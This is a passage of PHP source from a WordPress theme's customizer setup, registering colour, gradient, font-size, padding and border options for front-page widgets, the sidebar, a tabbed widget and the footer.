            'settings'   => 'pmthemes_theme_options[frontbar_font_clr]',
        ) )
    );
    // Frontpage Widget Header Bg Color
    $wp_customize->add_setting( 'pmthemes_theme_options[frontbar_bg_color]', array(
            'default'           => $theme_def['frontbar_bg_color'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'sanitize_hex_color'
        )
    );
    $wp_customize->add_control( new WP_Customize_Color_Control(
            $wp_customize, 'frontbar_bg_color', array(
            'label'      => __( 'Widget Header Bg Color', 'pmthemes' ),
            'section'    => 'pmthemes_homepage_colors',
            'settings'   => 'pmthemes_theme_options[frontbar_bg_color]',
        ) )
    );
    // Enable Extra Widget Header Styling
    $wp_customize->add_setting( 'pmthemes_theme_options[frontpage_header_style]', array(
            'default'           => $theme_def['gen_check_no'],
            'type'           	=> 'option',
            'transport'         => 'refresh',
            'sanitize_callback' => 'pmthemes_sanitize_checkbox'
        )
    );
    $wp_customize->add_control( 'pmthemes_control_frontpage_header_style', array(
            'label'    => __( 'Want More Header Styling?', 'pmthemes' ),
            'section'  => 'pmthemes_homepage_colors',
            'settings' => 'pmthemes_theme_options[frontpage_header_style]',
            'type'     => 'checkbox',
        )
    );
    // Widget Header Color
    $wp_customize->add_setting( 'pmthemes_theme_options[front_header_bg_color]', array(
            'default'           => $theme_def['front_header_bg_color'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'sanitize_hex_color'
        )
    );
    $wp_customize->add_control( new WP_Customize_Color_Control(
            $wp_customize, 'front_header_bg_color', array(
            'label'      => __( 'Widget Header Color', 'pmthemes' ),
            'section'    => 'pmthemes_homepage_colors',
            'settings'   => 'pmthemes_theme_options[front_header_bg_color]',
            'active_callback' => 'pmthemes_frontpage_header_style_active',
        ) )
    );
    // Widget Header Top Border
    $wp_customize->add_setting( 'pmthemes_theme_options[front_header_top_border]', array(
            'default'           => $theme_def['front_header_top_border'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'sanitize_hex_color'
        )
    );
    $wp_customize->add_control( new WP_Customize_Color_Control(
            $wp_customize, 'front_header_top_border', array(
            'label'      => __( 'Widget Header Top Border', 'pmthemes' ),
            'section'    => 'pmthemes_homepage_colors',
            'settings'   => 'pmthemes_theme_options[front_header_top_border]',
            'active_callback' => 'pmthemes_frontpage_header_style_active',
        ) )
    );
    // Widget Header Bottom Border
    $wp_customize->add_setting( 'pmthemes_theme_options[front_header_bot_border]', array(
            'default'           => $theme_def['front_header_bot_border'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'sanitize_hex_color'
        )
    );
    $wp_customize->add_control( new WP_Customize_Color_Control(
            $wp_customize, 'front_header_bot_border', array(
            'label'      => __( 'Widget Header Bottom Border', 'pmthemes' ),
            'section'    => 'pmthemes_homepage_colors',
            'settings'   => 'pmthemes_theme_options[front_header_bot_border]',
            'active_callback' => 'pmthemes_frontpage_header_style_active',
        ) )
    );
    // Frontpage Widget Header Adjustments
    $wp_customize->add_setting( 'pmthemes_theme_options[frontpage_wdgt_adjt]', array(
            'type'           	=> 'option',
            'sanitize_callback' => 'esc_attr'
        )
    );
    $wp_customize->add_control( new Pmthemes_Customize_Header_Control(
            $wp_customize, 'pmthemes_control_frontpage_wdgt_adjt', array(
                'label' => __( 'Widget Header Adjustments', 'pmthemes' ),
                'section' => 'pmthemes_homepage_colors',
                'settings' => 'pmthemes_theme_options[frontpage_wdgt_adjt]',
            )
        )
    );
    // Front Page Widget Header Font Size
    $wp_customize->add_setting( 'pmthemes_theme_options[frontbar_font_size]', array(
            'default'           => $theme_def['frontbar_font_size'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'pmthemes_sanitize_decimal_int'
        )
    );
    $wp_customize->add_control( new WP_Customize_Range( $wp_customize, 'pmthemes_control_frontbar_font_size', array(
            'label'    => __( 'Header Bar Font Size', 'pmthemes' ),
            'section'  => 'pmthemes_homepage_colors',
            'settings' => 'pmthemes_theme_options[frontbar_font_size]',
            'active_callback' => 'pmthemes_static_front_page_check',
            'min' => 0.75,
            'max' => 2.75,
            'step' => 0.01,
            'unit' => 'em',
        ))
    );
    // Frontpage Widget Header Font Padding
    $wp_customize->add_setting( 'pmthemes_theme_options[fpbar_font_pad_top]', array(
            'default' 			=> $theme_def['fpbar_font_pad_top'],
            'type' 				=> 'option',
            'transport' 		=> 'postMessage',
            'sanitize_callback' => 'absint',
        )
    );
    // Header right
    $wp_customize->add_setting( 'pmthemes_theme_options[fpbar_font_pad_right]', array(
            'default' 			=> $theme_def['fpbar_font_pad_right'],
            'type' 				=> 'option',
            'transport' 		=> 'postMessage',
            'sanitize_callback' => 'absint',
        )
    );
    // Header bottom
    $wp_customize->add_setting( 'pmthemes_theme_options[fpbar_font_pad_bottom]', array(
            'default' 			=> $theme_def['fpbar_font_pad_bottom'],
            'type' 				=> 'option',
            'transport' 		=> 'postMessage',
            'sanitize_callback' => 'absint',
        )
    );
    // Header left
    $wp_customize->add_setting( 'pmthemes_theme_options[fpbar_font_pad_left]', array(
            'default' 			=> $theme_def['fpbar_font_pad_left'],
            'type' 				=> 'option',
            'transport' 		=> 'postMessage',
            'sanitize_callback' => 'absint',
        )
    );
    // Header controls
    $wp_customize->add_control(new Pmthemes_Spacing_Control($wp_customize, 'fpbar_font_spacing', array(
                'type' => 'pmthemes-spacing',
                'label'       => esc_html__( 'Header Font Padding (px)', 'pmthemes' ),
                'section'     => 'pmthemes_homepage_colors',
                'settings'    => array(
                    'top'     => 'pmthemes_theme_options[fpbar_font_pad_top]',
                    'right'   => 'pmthemes_theme_options[fpbar_font_pad_right]',
                    'bottom'  => 'pmthemes_theme_options[fpbar_font_pad_bottom]',
                    'left'    => 'pmthemes_theme_options[fpbar_font_pad_left]',
                ),
                'element' => 'fpbar-font-padding',
            )
        )
    );
    // Post Title Header
    $wp_customize->add_setting( 'pmthemes_theme_options[frontpage_title_hd]', array(
            'type'           	=> 'option',
            'sanitize_callback' => 'esc_attr'
        )
    );
    $wp_customize->add_control( new Pmthemes_Customize_Header_Control(
            $wp_customize, 'pmthemes_control_frontpage_title_hd', array(
                'label' => __( 'Post Title Sizes', 'pmthemes' ),
                'section' => 'pmthemes_homepage_colors',
                'settings' => 'pmthemes_theme_options[frontpage_title_hd]',
            )
        )
    );
    // Big Posts Title Font Size
    $wp_customize->add_setting( 'pmthemes_theme_options[front_page_fonts_size]', array(
            'default'           => $theme_def['front_page_fonts_size'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'pmthemes_sanitize_decimal_int'
        )
    );
    $wp_customize->add_control( new WP_Customize_Range( $wp_customize, 'pmthemes_control_front_page_fonts_size', array(
            'label'    => __( 'Big Posts Title Font Size', 'pmthemes' ),
            'section'  => 'pmthemes_homepage_colors',
            'settings' => 'pmthemes_theme_options[front_page_fonts_size]',
            'active_callback' => 'pmthemes_static_front_page_check',
            'min' => 0.75,
            'max' => 2.55,
            'step' => 0.01,
            'unit' => 'em',
        ))
    );
    // Small Posts Title Font Size
    $wp_customize->add_setting( 'pmthemes_theme_options[front_page_font_size]', array(
            'default'           => $theme_def['front_page_font_size'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'pmthemes_sanitize_decimal_int'
        )
    );
    $wp_customize->add_control( new WP_Customize_Range( $wp_customize, 'pmthemes_control_front_page_font_size', array(
            'label'    => __( 'Small Posts Title Font Size', 'pmthemes' ),
            'section'  => 'pmthemes_homepage_colors',
            'settings' => 'pmthemes_theme_options[front_page_font_size]',
            'active_callback' => 'pmthemes_static_front_page_check',
            'min' => 0.75,
            'max' => 1.95,
            'step' => 0.01,
            'unit' => 'em',
        ))
    );
    // Single Posts Title Font Size
    $wp_customize->add_setting( 'pmthemes_theme_options[front_posts_font_size]', array(
            'default'           => $theme_def['front_posts_font_size'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'pmthemes_sanitize_decimal_int'
        )
    );
    $wp_customize->add_control( new WP_Customize_Range( $wp_customize, 'pmthemes_control_front_posts_font_size', array(
            'label'    => __( 'Single Posts Title Font Size', 'pmthemes' ),
            'section'  => 'pmthemes_homepage_colors',
            'settings' => 'pmthemes_theme_options[front_posts_font_size]',
            'active_callback' => 'pmthemes_static_front_page_check',
            'min' => 0.75,
            'max' => 2.75,
            'step' => 0.01,
            'unit' => 'em',
        ))
    );
    // ================================= Sidebar Coloring ============================
    // Sidebar Background
    $wp_customize->add_setting( 'pmthemes_theme_options[sidebar_background]', array(
            'default'           => $theme_def['sidebar_background'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'sanitize_hex_color'
        )
    );
    $wp_customize->add_control( new WP_Customize_Color_Control(
            $wp_customize, 'sidebar_background', array(
            'label'      => __( 'Sidebar Background', 'pmthemes' ),
            'section'    => 'pmthemes_sidebar_colors',
            'settings'   => 'pmthemes_theme_options[sidebar_background]',
        ) )
    );
    // Enable Gradient Color
    $wp_customize->add_setting( 'pmthemes_theme_options[sidebar_gradient_enable]', array(
            'default'           => $theme_def['gen_check_no'],
            'type'           	=> 'option',
            'transport'         => 'refresh',
            'sanitize_callback' => 'pmthemes_sanitize_checkbox'
        )
    );
    $wp_customize->add_control( 'pmthemes_control_sidebar_gradient_enable', array(
            'label'    => __( 'Apply a Gradient Color?', 'pmthemes' ),
            'section'  => 'pmthemes_sidebar_colors',
            'settings' => 'pmthemes_theme_options[sidebar_gradient_enable]',
            'type'     => 'checkbox',
        )
    );
    // Header Background Gradient Color
    $wp_customize->add_setting( 'pmthemes_theme_options[sidebar_grad_ient]', array(
            'default'           => $theme_def['sidebar_grad_ient'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'sanitize_hex_color'
        )
    );
    $wp_customize->add_control( new WP_Customize_Color_Control(
            $wp_customize, 'sidebar_grad_ient', array(
            'label'      => __( 'Gradient Effect', 'pmthemes' ),
            'section'    => 'pmthemes_sidebar_colors',
            'settings'   => 'pmthemes_theme_options[sidebar_grad_ient]',
            'active_callback' => 'pmthemes_sidebar_gradient_active',
        ) )
    );
    // Sidebar Gradient Direction
    $wp_customize->add_setting( 'pmthemes_theme_options[sidebar_gr_dir]', array(
            'default'           => $theme_def['sidebar_gr_dir'],
            'type'           	=> 'option',
            'transport'         => 'refresh',
            'sanitize_callback' => 'pmthemes_sanitize_gradient_direction'
        )
    );
    $wp_customize->add_control( 'pmthemes_control_sidebar_gr_dir', array(
            'label'    => __( 'Gradient Direction', 'pmthemes' ),
            'section'  => 'pmthemes_sidebar_colors',
            'settings' => 'pmthemes_theme_options[sidebar_gr_dir]',
            'active_callback' =>'pmthemes_sidebar_gradient_active',
            'type'     => 'select',
            'choices'  => pmthemes_grad_direction(),
        )
    );
    // Widget Headers
    $wp_customize->add_setting( 'pmthemes_theme_options[widget_headers_style]', array(
            'type'           	=> 'option',
            'sanitize_callback' => 'esc_attr'
        )
    );
    $wp_customize->add_control( new Pmthemes_Customize_Header_Control(
            $wp_customize, 'pmthemes_control_widget_headers_style', array(
                'label' => __( 'Widget Headers', 'pmthemes' ),
                'section' => 'pmthemes_sidebar_colors',
                'settings' => 'pmthemes_theme_options[widget_headers_style]',
            )
        )
    );
    // Widget Title Color
    $wp_customize->add_setting( 'pmthemes_theme_options[widget_title_color]', array(
            'default'           => $theme_def['widget_title_color'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'sanitize_hex_color'
        )
    );
    $wp_customize->add_control( new WP_Customize_Color_Control(
            $wp_customize, 'widget_title_color', array(
            'label'      => __( 'Widget Title Color', 'pmthemes' ),
            'section'    => 'pmthemes_sidebar_colors',
            'settings'   => 'pmthemes_theme_options[widget_title_color]',
        ) )
    );
    // Widget Title Bg Color
    $wp_customize->add_setting( 'pmthemes_theme_options[widget_header_color]', array(
            'default'           => $theme_def['widget_header_color'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'sanitize_hex_color'
        )
    );
    $wp_customize->add_control( new WP_Customize_Color_Control(
            $wp_customize, 'widget_header_color', array(
            'label'      => __( 'Widget Title Bg Color', 'pmthemes' ),
            'section'    => 'pmthemes_sidebar_colors',
            'settings'   => 'pmthemes_theme_options[widget_header_color]',
        ) )
    );
    // Enable Extra Widget Header Styling
    $wp_customize->add_setting( 'pmthemes_theme_options[widget_header_styling]', array(
            'default'           => $theme_def['gen_check_no'],
            'type'           	=> 'option',
            'transport'         => 'refresh',
            'sanitize_callback' => 'pmthemes_sanitize_checkbox'
        )
    );
    $wp_customize->add_control( 'pmthemes_control_widget_header_styling', array(
            'label'    => __( 'Want More Widget Header Styling?', 'pmthemes' ),
            'section'  => 'pmthemes_sidebar_colors',
            'settings' => 'pmthemes_theme_options[widget_header_styling]',
            'type'     => 'checkbox',
        )
    );
    // Widget Header Color
    $wp_customize->add_setting( 'pmthemes_theme_options[widget_header_bg_color]', array(
            'default'           => $theme_def['widget_header_bg_color'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'sanitize_hex_color'
        )
    );
    $wp_customize->add_control( new WP_Customize_Color_Control(
            $wp_customize, 'widget_header_bg_color', array(
            'label'      => __( 'Widget Header Color', 'pmthemes' ),
            'section'    => 'pmthemes_sidebar_colors',
            'settings'   => 'pmthemes_theme_options[widget_header_bg_color]',
            'active_callback' => 'pmthemes_widget_header_style_active',
        ) )
    );
    // Widget Header Top Border
    $wp_customize->add_setting( 'pmthemes_theme_options[widget_header_top_border]', array(
            'default'           => $theme_def['widget_header_top_border'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'sanitize_hex_color'
        )
    );
    $wp_customize->add_control( new WP_Customize_Color_Control(
            $wp_customize, 'widget_header_top_border', array(
            'label'      => __( 'Widget Header Top Border', 'pmthemes' ),
            'section'    => 'pmthemes_sidebar_colors',
            'settings'   => 'pmthemes_theme_options[widget_header_top_border]',
            'active_callback' => 'pmthemes_widget_header_style_active',
        ) )
    );
    // Widget Header Bottom Border
    $wp_customize->add_setting( 'pmthemes_theme_options[widget_header_bot_border]', array(
            'default'           => $theme_def['widget_header_bot_border'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'sanitize_hex_color'
        )
    );
    $wp_customize->add_control( new WP_Customize_Color_Control(
            $wp_customize, 'widget_header_bot_border', array(
            'label'      => __( 'Widget Header Bottom Border', 'pmthemes' ),
            'section'    => 'pmthemes_sidebar_colors',
            'settings'   => 'pmthemes_theme_options[widget_header_bot_border]',
            'active_callback' => 'pmthemes_widget_header_style_active',
        ) )
    );
    // Widget Content
    $wp_customize->add_setting( 'pmthemes_theme_options[widget_content_style]', array(
            'type'           	=> 'option',
            'sanitize_callback' => 'esc_attr'
        )
    );
    $wp_customize->add_control( new Pmthemes_Customize_Header_Control(
            $wp_customize, 'pmthemes_control_widget_content_style', array(
                'label' => __( 'Widget Content', 'pmthemes' ),
                'section' => 'pmthemes_sidebar_colors',
                'settings' => 'pmthemes_theme_options[widget_content_style]',
            )
        )
    );
    // Widget Link Color
    $wp_customize->add_setting( 'pmthemes_theme_options[widget_link_color]', array(
            'default'           => $theme_def['widget_link_color'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'sanitize_hex_color'
        )
    );
    $wp_customize->add_control( new WP_Customize_Color_Control(
            $wp_customize, 'widget_link_color', array(
            'label'      => __( 'Widget Link Color', 'pmthemes' ),
            'section'    => 'pmthemes_sidebar_colors',
            'settings'   => 'pmthemes_theme_options[widget_link_color]',
        ) )
    );
    // Widget Text Color
    $wp_customize->add_setting( 'pmthemes_theme_options[widget_text_color]', array(
            'default'           => $theme_def['widget_text_color'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'sanitize_hex_color'
        )
    );
    $wp_customize->add_control( new WP_Customize_Color_Control(
            $wp_customize, 'widget_text_color', array(
            'label'      => __( 'Widget Text Color', 'pmthemes' ),
            'section'    => 'pmthemes_sidebar_colors',
            'settings'   => 'pmthemes_theme_options[widget_text_color]',
        ) )
    );
    // Widget Post Meta Color
    $wp_customize->add_setting( 'pmthemes_theme_options[widget_post_meta_clr]', array(
            'default'           => $theme_def['widget_post_meta_clr'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'sanitize_hex_color'
        )
    );
    $wp_customize->add_control( new WP_Customize_Color_Control(
            $wp_customize, 'widget_post_meta_clr', array(
            'label'      => __( 'Widget Post Meta Color', 'pmthemes' ),
            'section'    => 'pmthemes_sidebar_colors',
            'settings'   => 'pmthemes_theme_options[widget_post_meta_clr]',
        ) )
    );
    // Widget Background
    $wp_customize->add_setting( 'pmthemes_theme_options[widget_backgr_color]', array(
            'default'           => $theme_def['widget_backgr_color'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'sanitize_hex_color'
        )
    );
    $wp_customize->add_control( new WP_Customize_Color_Control(
            $wp_customize, 'widget_backgr_color', array(
            'label'      => __( 'Widget Background', 'pmthemes' ),
            'section'    => 'pmthemes_sidebar_colors',
            'settings'   => 'pmthemes_theme_options[widget_backgr_color]',
        ) )
    );
    // Edit Sidebar Widget Borders
    $wp_customize->add_setting( 'pmthemes_theme_options[show_sidebar_border]', array(
            'default'           => $theme_def['show_sidebar_border'],
            'type'           	=> 'option',
            'transport'         => 'refresh',
            'sanitize_callback' => 'pmthemes_sanitize_checkbox'
        )
    );
    $wp_customize->add_control( 'pmthemes_control_show_sidebar_border', array(
            'label'    => __( 'Edit Widget Borders?', 'pmthemes' ),
            'section'  => 'pmthemes_sidebar_colors',
            'settings' => 'pmthemes_theme_options[show_sidebar_border]',
            'type'     => 'checkbox',
        )
    );
    // Sidebar Widget Border Color
    $wp_customize->add_setting( 'pmthemes_theme_options[sidebar_border_color]', array(
            'default'           => $theme_def['sidebar_border_color'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'sanitize_hex_color'
        )
    );
    $wp_customize->add_control( new WP_Customize_Color_Control(
            $wp_customize, 'sidebar_border_color', array(
            'label'      => __( 'Widget Border Color', 'pmthemes' ),
            'section'    => 'pmthemes_sidebar_colors',
            'settings'   => 'pmthemes_theme_options[sidebar_border_color]',
            'active_callback' =>'pmthemes_sidebar_border_active',
        ) )
    );
    // Sidebar Border Thickness
    $wp_customize->add_setting( 'pmthemes_theme_options[sidebar_border_thick]', array(
            'default'           => $theme_def['sidebar_border_thick'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'absint'
        )
    );
    $wp_customize->add_control( new WP_Customize_Range( $wp_customize, 'pmthemes_control_sidebar_border_thick', array(
            'label'    => __( 'Sidebar Border Thickness', 'pmthemes' ),
            'section'  => 'pmthemes_sidebar_colors',
            'settings' => 'pmthemes_theme_options[sidebar_border_thick]',
            'active_callback' => 'pmthemes_sidebar_border_active',
            'min' => 0,
            'max' => 10,
            'step' => 1,
            'unit' => 'px',
        ))
    );
    // Tabbed Widget
    $wp_customize->add_setting( 'pmthemes_theme_options[widget_tabbed_style]', array(
            'type'           	=> 'option',
            'sanitize_callback' => 'esc_attr'
        )
    );
    $wp_customize->add_control( new Pmthemes_Customize_Header_Control(
            $wp_customize, 'pmthemes_control_widget_tabbed_style', array(
                'label' => __( 'Tabbed Widget', 'pmthemes' ),
                'section' => 'pmthemes_sidebar_colors',
                'settings' => 'pmthemes_theme_options[widget_tabbed_style]',
                'active_callback' => 'pmthemes_tabbed_content_active',
            )
        )
    );
    // Tabbed Background Color
    $wp_customize->add_setting( 'pmthemes_theme_options[tabbed_bg_color]', array(
            'default'           => $theme_def['tabbed_bg_color'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'sanitize_hex_color'
        )
    );
    $wp_customize->add_control( new WP_Customize_Color_Control(
            $wp_customize, 'tabbed_bg_color', array(
            'label'      => __( 'Tabbed Background Color', 'pmthemes' ),
            'section'    => 'pmthemes_sidebar_colors',
            'settings'   => 'pmthemes_theme_options[tabbed_bg_color]',
            'active_callback' => 'pmthemes_tabbed_content_active',
        ) )
    );
    // Tabbed Header Color
    $wp_customize->add_setting( 'pmthemes_theme_options[tabbed_header_color]', array(
            'default'           => $theme_def['tabbed_header_color'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'sanitize_hex_color'
        )
    );
    $wp_customize->add_control( new WP_Customize_Color_Control(
            $wp_customize, 'tabbed_header_color', array(
            'label'      => __( 'Tabbed Header Color', 'pmthemes' ),
            'section'    => 'pmthemes_sidebar_colors',
            'settings'   => 'pmthemes_theme_options[tabbed_header_color]',
            'active_callback' => 'pmthemes_tabbed_content_active',
        ) )
    );
    // Tabbed Header Title Color
    $wp_customize->add_setting( 'pmthemes_theme_options[tabbed_hdtl_color]', array(
            'default'           => $theme_def['tabbed_hdtl_color'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'sanitize_hex_color'
        )
    );
    $wp_customize->add_control( new WP_Customize_Color_Control(
            $wp_customize, 'tabbed_hdtl_color', array(
            'label'      => __( 'Header Title Color', 'pmthemes' ),
            'section'    => 'pmthemes_sidebar_colors',
            'settings'   => 'pmthemes_theme_options[tabbed_hdtl_color]',
            'active_callback' => 'pmthemes_tabbed_content_active',
        ) )
    );
    // Tabbed Linked Color
    $wp_customize->add_setting( 'pmthemes_theme_options[tabbed_linked_color]', array(
            'default'           => $theme_def['tabbed_linked_color'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'sanitize_hex_color'
        )
    );
    $wp_customize->add_control( new WP_Customize_Color_Control(
            $wp_customize, 'tabbed_linked_color', array(
            'label'      => __( 'Tabbed Linked Color', 'pmthemes' ),
            'section'    => 'pmthemes_sidebar_colors',
            'settings'   => 'pmthemes_theme_options[tabbed_linked_color]',
            'active_callback' => 'pmthemes_tabbed_content_active',
        ) )
    );
    // Tabbed Post Meta Color
    $wp_customize->add_setting( 'pmthemes_theme_options[tabbed_post_meta_clr]', array(
            'default'           => $theme_def['tabbed_post_meta_clr'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'sanitize_hex_color'
        )
    );
    $wp_customize->add_control( new WP_Customize_Color_Control(
            $wp_customize, 'tabbed_post_meta_clr', array(
            'label'      => __( 'Tabbed Post Meta Color', 'pmthemes' ),
            'section'    => 'pmthemes_sidebar_colors',
            'settings'   => 'pmthemes_theme_options[tabbed_post_meta_clr]',
            'active_callback' => 'pmthemes_tabbed_content_active',
        ) )
    );
    // ================================= Footer Widgets Coloring ============================
	// Footer Widget Background
	$wp_customize->add_setting( 'pmthemes_theme_options[footer_widgets_color]', array(
        'default'           => $theme_def['footer_widgets_color'],
		'type'           	=> 'option',
        'transport'         => 'postMessage',
        'sanitize_callback' => 'sanitize_hex_color'
		)
	);
	$wp_customize->add_control( new WP_Customize_Color_Control( 
		$wp_customize, 'footer_widgets_color', array(
			'label'      => __( 'Footer Widget Background', 'pmthemes' ),
			'section'    => 'pmthemes_footwgts_colors',
			'settings'   => 'pmthemes_theme_options[footer_widgets_color]',
		) ) 
	);
    // Enable Gradient Color for Footer Widget
    $wp_customize->add_setting( 'pmthemes_theme_options[fwidget_gradient_enable]', array(
            'default'           => $theme_def['gen_check_no'],
            'type'           	=> 'option',
            'transport'         => 'refresh',
            'sanitize_callback' => 'pmthemes_sanitize_checkbox'
        )
    );
    $wp_customize->add_control( 'pmthemes_control_fwidget_gradient_enable', array(
            'label'    => __( 'Apply a Gradient Color?', 'pmthemes' ),
            'section'  => 'pmthemes_footwgts_colors',
            'settings' => 'pmthemes_theme_options[fwidget_gradient_enable]',
            'type'     => 'checkbox',
        )
    );
    // Footer Widget Background Gradient Color
    $wp_customize->add_setting( 'pmthemes_theme_options[fwidget_grad_ient]', array(
            'default'           => $theme_def['fwidget_grad_ient'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'sanitize_hex_color'
        )
    );
    $wp_customize->add_control( new WP_Customize_Color_Control(
            $wp_customize, 'fwidget_grad_ient', array(
            'label'      => __( 'Gradient Effect', 'pmthemes' ),
            'section'    => 'pmthemes_footwgts_colors',
            'settings'   => 'pmthemes_theme_options[fwidget_grad_ient]',
            'active_callback' => 'pmthemes_fwidget_gradient_active',
        ) )
    );
    // Footer Widgets Gradient Direction
    $wp_customize->add_setting( 'pmthemes_theme_options[fwidget_gr_dir]', array(
            'default'           => $theme_def['fwidget_gr_dir'],
            'type'           	=> 'option',
            'transport'         => 'refresh',
            'sanitize_callback' => 'pmthemes_sanitize_gradient_direction'
        )
    );
    $wp_customize->add_control( 'pmthemes_control_fwidget_gr_dir', array(
            'label'    => __( 'Gradient Direction', 'pmthemes' ),
            'section'  => 'pmthemes_footwgts_colors',
            'settings' => 'pmthemes_theme_options[fwidget_gr_dir]',
            'active_callback' =>'pmthemes_fwidget_gradient_active',
            'type'     => 'select',
            'choices'  => pmthemes_grad_direction(),
        )
    );
    // Widget Boxes Header
    $wp_customize->add_setting( 'pmthemes_theme_options[widget_bx_header]', array(
            'default'           => '',
            'type'           	=> 'option',
            'sanitize_callback' => 'esc_attr'
        )
    );
    $wp_customize->add_control( new Pmthemes_Customize_Header_Control(
            $wp_customize, 'pmthemes_control_widget_bx_header', array(
                'label' => __( 'Widget Boxes', 'pmthemes' ),
                'section' => 'pmthemes_footwgts_colors',
                'settings' => 'pmthemes_theme_options[widget_bx_header]',
            )
        )
    );
    // Widget Boxes Bg Color
    $wp_customize->add_setting( 'pmthemes_theme_options[footer_each_widget]', array(
            'default'           => $theme_def['footer_each_widget'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'sanitize_hex_color'
        )
    );
    $wp_customize->add_control( new WP_Customize_Color_Control(
            $wp_customize, 'footer_each_widget', array(
            'label'      => __( 'Widget Boxes Bg Color', 'pmthemes' ),
            'section'    => 'pmthemes_footwgts_colors',
            'settings'   => 'pmthemes_theme_options[footer_each_widget]',
        ) )
    );
    // Header Background Color
    $wp_customize->add_setting( 'pmthemes_theme_options[footer_widgets_header_bg]', array(
            'default'           => $theme_def['footer_widgets_header_bg'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'sanitize_hex_color'
        )
    );
    $wp_customize->add_control( new WP_Customize_Color_Control(
            $wp_customize, 'footer_widgets_header_bg', array(
            'label'      => __( 'Header Background', 'pmthemes' ),
            'section'    => 'pmthemes_footwgts_colors',
            'settings'   => 'pmthemes_theme_options[footer_widgets_header_bg]',
        ) )
    );
    // Header Title Color
    $wp_customize->add_setting( 'pmthemes_theme_options[footer_widgets_header_title]', array(
            'default'           => $theme_def['gen_head_font_color'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'sanitize_hex_color'
        )
    );
    $wp_customize->add_control( new WP_Customize_Color_Control(
            $wp_customize, 'footer_widgets_header_title', array(
            'label'      => __( 'Header Title Color', 'pmthemes' ),
            'section'    => 'pmthemes_footwgts_colors',
            'settings'   => 'pmthemes_theme_options[footer_widgets_header_title]',
        ) )
    );
    // Text Link Color
    $wp_customize->add_setting( 'pmthemes_theme_options[footer_widgets_texts]', array(
            'default'           => $theme_def['footer_widgets_texts'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'sanitize_hex_color'
        )
    );
	$wp_customize->add_control( new WP_Customize_Color_Control( 
		$wp_customize, 'footer_widgets_texts', array(
			'label'      => __( 'Text Link Color', 'pmthemes' ),
			'section'    => 'pmthemes_footwgts_colors',
			'settings'   => 'pmthemes_theme_options[footer_widgets_texts]',
		) ) 
	);
    // Plain Text Color
    $wp_customize->add_setting( 'pmthemes_theme_options[footer_widgets_pltxt]', array(
            'default'           => $theme_def['footer_widgets_pltxt'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'sanitize_hex_color'
        )
    );
    $wp_customize->add_control( new WP_Customize_Color_Control(
            $wp_customize, 'footer_widgets_pltxt', array(
            'label'      => __( 'Plain Text Color', 'pmthemes' ),
            'section'    => 'pmthemes_footwgts_colors',
            'settings'   => 'pmthemes_theme_options[footer_widgets_pltxt]',
        ) )
    );
    // Text Link Bottom Border
	$wp_customize->add_setting( 'pmthemes_theme_options[footer_texts_borders]', array(
        'default'           => $theme_def['footer_texts_borders'],
		'type'           	=> 'option',
        'transport'         => 'postMessage',
        'sanitize_callback' => 'sanitize_hex_color'
		)
	);
	$wp_customize->add_control( new WP_Customize_Color_Control( 
		$wp_customize, 'footer_texts_borders', array(
			'label'      => __( 'Text Link Bottom Border', 'pmthemes' ),
			'section'    => 'pmthemes_footwgts_colors',
			'settings'   => 'pmthemes_theme_options[footer_texts_borders]',
		) ) 
	);
    //================> Footer Area Coloring <====================
    // Footer Text Color
	$wp_customize->add_setting( 'pmthemes_theme_options[footer_texts_colol]', array(
        'default'           => $theme_def['footer_texts_colol'],
		'type'           	=> 'option',
        'transport'         => 'postMessage',
        'sanitize_callback' => 'sanitize_hex_color'
		)
	);
	$wp_customize->add_control( new WP_Customize_Color_Control( 
		$wp_customize, 'footer_texts_colol', array(
			'label'      => __( 'Footer Text Color', 'pmthemes' ),
			'section'    => 'pmthemes_footer_colors',
			'settings'   => 'pmthemes_theme_options[footer_texts_colol]',
		) ) 
	);
	// Footer Background Color
	$wp_customize->add_setting( 'pmthemes_theme_options[footer_color]', array(
        'default'           => $theme_def['footer_color'],
		'type'           	=> 'option',
        'transport'         => 'postMessage',
